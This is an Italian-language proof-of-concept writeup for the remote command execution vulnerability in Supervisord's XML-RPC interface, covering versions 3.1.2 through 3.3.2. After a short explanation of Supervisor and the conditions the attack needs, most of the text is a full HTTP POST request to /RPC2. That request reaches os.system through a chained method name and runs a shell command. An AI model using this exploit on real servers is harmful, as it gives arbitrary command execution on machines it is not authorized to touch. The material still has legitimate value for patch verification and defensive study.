
Script per la vulnerabilità di esecuzione remota di comandi in Supervisord
Supervisor è uno strumento di gestione dei processi scritto in Python, che può essere utilizzato molto comodamente su sistemi UNIX-like (non supporta Windows) per avviare, riavviare (riavvio automatico dei programmi) e terminare processi (non solo processi Python).
Supervisor è un programma basato sul modello C/S: supervisord è il lato server, supervisorctl è il lato client. In parole semplici, il client invia i comandi di supervisor e chiama le API del lato server per completare determinate operazioni.
Il servizio Web di Supervisor è in realtà quello che molti usano di più, ovvero il client di supervisord: purché la rotta sia raggiungibile, è possibile completare da remoto, tramite la pagina Web, operazioni simili a quelle del client di supervisor. Le operazioni tramite interfaccia Web sono implementate dall'interfaccia XML-RPC, e questa vulnerabilità risiede proprio nell'elaborazione dei dati da parte dell'interfaccia XML-RPC.
Supervisor version 3.1.2 fino a Supervisor version 3.3.2
Servizio Web abilitato e porta 9001 accessibile
Password debole o assente
POST /RPC2 HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 213
<?xml version="1.0"?>
<methodCall>
<methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName>
<params>
<param>
<string>touch /tmp/success</string>
</param>
</params>
</methodCall>
Questo POC non restituisce output.
